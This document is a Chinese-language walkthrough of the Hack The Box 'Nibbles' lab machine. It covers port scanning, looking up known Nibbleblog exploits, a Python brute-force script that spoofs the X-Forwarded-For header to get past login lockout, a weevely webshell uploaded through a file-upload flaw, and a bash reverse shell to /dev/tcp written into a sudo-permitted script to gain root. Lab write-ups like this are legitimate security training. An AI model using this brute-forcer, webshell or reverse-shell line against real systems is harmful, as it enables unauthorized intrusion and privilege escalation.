Nibbles

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2023-04-04 16:38:48

Scan

┌──(xavier㉿kali)-[~]
└─$ sudo nmap -sSV -T4 10.10.10.75 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-04 16:39 CST
Nmap scan report for 10.10.10.75
Host is up (0.43s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.95 seconds

后台扫个全端口备用

Web

直接访问80端口，显示Hello world

用dirsearch扫描Web路径，同时F12查看网页代码，发现一段注释信息：

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此地无银三百两，拼接路径访问/nibbleblog/，是个博客网站

查找历史漏洞：

┌──(xavier㉿kali)-[~/Desktop/HTB/005-Nibbles]
└─$ searchsploit nibbleblog   
------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                     |  Path
------------------------------------------------------------------- ---------------------------------
Nibbleblog 3 - Multiple SQL Injections                             | php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)              | php/remote/38489.rb
-------------------------------

┌──(xavier㉿kali)-[~/Desktop/HTB/005-Nibbles]
└─$ searchsploit -m php/webapps/35865.txt

┌──(xavier㉿kali)-[~/Desktop/HTB/005-Nibbles]
└─$ searchsploit -m php/remote/38489.rb

SQL注入试了没试出来。

文件上传漏洞看了下EXP，发现是个后台的功能点，登陆点是/nibbleblog/admin.php

尝试弱口令暴破，发现有账号锁定机制，最后找到弱口令为nibbles

一个定制化的暴破脚本：

from random import randint
import requests

# Brute force information
PASSWORD_LIST = '/usr/share/wordlists/rockyou.txt'
RATE_LIMIT = 5
RATE_LIMIT_ERROR = 'Blacklist protection'
LOGIN_FAILED_ERROR = 'Incorrect username or password.'

# Target information
RHOST = '10.10.10.75'
LOGIN_PAGE = '/nibbleblog/admin.php'
TARGET_URL = f'http://{RHOST}{LOGIN_PAGE}'
USERNAME = 'admin'

def attempt_login(password: str, ip: str) -> bool:
    """Performs a login using a given password.

    :param password: The password to try.
    :param ip: Spoof the attacker's IP address with this one.
    :return: True for a successful login, otherwise False.
    """
    headers = {'X-Forwarded-For': ip}
    payload = {'username': USERNAME, 'password': password}
    r = requests.post(
        TARGET_URL, headers=headers, data=payload
    )

    if r.status_code == 500:
        print("Internal server error, aborting!")
        exit(1)

    if RATE_LIMIT_ERROR in r.text:
        print("Rate limit hit, aborting!")
        exit(1)

    return LOGIN_FAILED_ERROR not in r.text


def random_ip() -> str:
    """Generate a random IP address.

    :return: A random IP address.
    """
    return ".".join(str(randint(0, 255)) for _ in range(4))


def run(start_at: int = 1):
    """Start the brute force process.

    :param start_at: Start brute forcing at the password with
     this 1-based index. The number represents the line in
     the password file.
    """
    ip: str = random_ip()
    num_attempts: int = 1

    for password in open(PASSWORD_LIST):
        if num_attempts < start_at:
            num_attempts += 1
            continue

        if num_attempts % (RATE_LIMIT - 1) == 0:
            ip = random_ip()

        password = password.strip()
        print(f"Attempt {num_attempts}: {ip}\t\t{password}")

        if attempt_login(password, ip):
            print(f"Password for {USERNAME} is {password}")
            break

        num_attempts += 1


if __name__ == '__main__':
    run()

进入后台后，找到文件上传的漏洞点：

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尝试上传phpinfo，成功解析:

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生成并webshell，并上传：

┌──(xavier㉿kali)-[~/Desktop/HTB/005-Nibbles]
└─$ weevely generate cmd shell.php   
Generated 'shell.php' with password 'cmd' of 744 byte size.

实现webshell命令控制：

┌──(xavier㉿kali)-[~]
└─$ weevely http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php cmd

[+] weevely 4.0.1

[+] Target:     10.10.10.75
[+] Session:    /home/xavier/.weevely/sessions/10.10.10.75/image_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
nibbler@Nibbles:/ $ sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/ $ ls -l /home/nibbler/
total 2
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 Apr  4 04:37 user.txt
nibbler@Nibbles:/ $ cat /home/nibbler/user.txt
a2b4xxxxxxxxxxxxxd7

root

sudo -l可以看到可以用root权限执行monitor.sh，但是系统不存在该文件，可以利用该文件反弹root权限的shell到nc：

nibbler@Nibbles:/ $ mkdir /home/nibbler/personal/
nibbler@Nibbles:/ $ mkdir /home/nibbler/personal/stuff/
nibbler@Nibbles:/ $ echo 'bash -c "/bin/bash -i >& /dev/tcp/10.10.14.18/8888 0>&1"' > /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/ $ cat /home/nibbler/personal/stuff/monitor.sh
bash -c "/bin/bash -i >& /dev/tcp/10.10.14.18/8888 0>&1"
nibbler@Nibbles:/ $ sudo /home/nibbler/personal/stuff/monitor.sh

┌──(xavier㉿kali)-[~/Desktop/HTB/005-Nibbles]
└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.75] 53428
bash: cannot set terminal process group (1373): Inappropriate ioctl for device
bash: no job control in this shell
root@Nibbles:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Nibbles:/# ls /root/    
ls /root/
root.txt
root@Nibbles:/# cat /root/root.txt
cat /root/root.txt
061xxxxxxxxxxxxxxx13b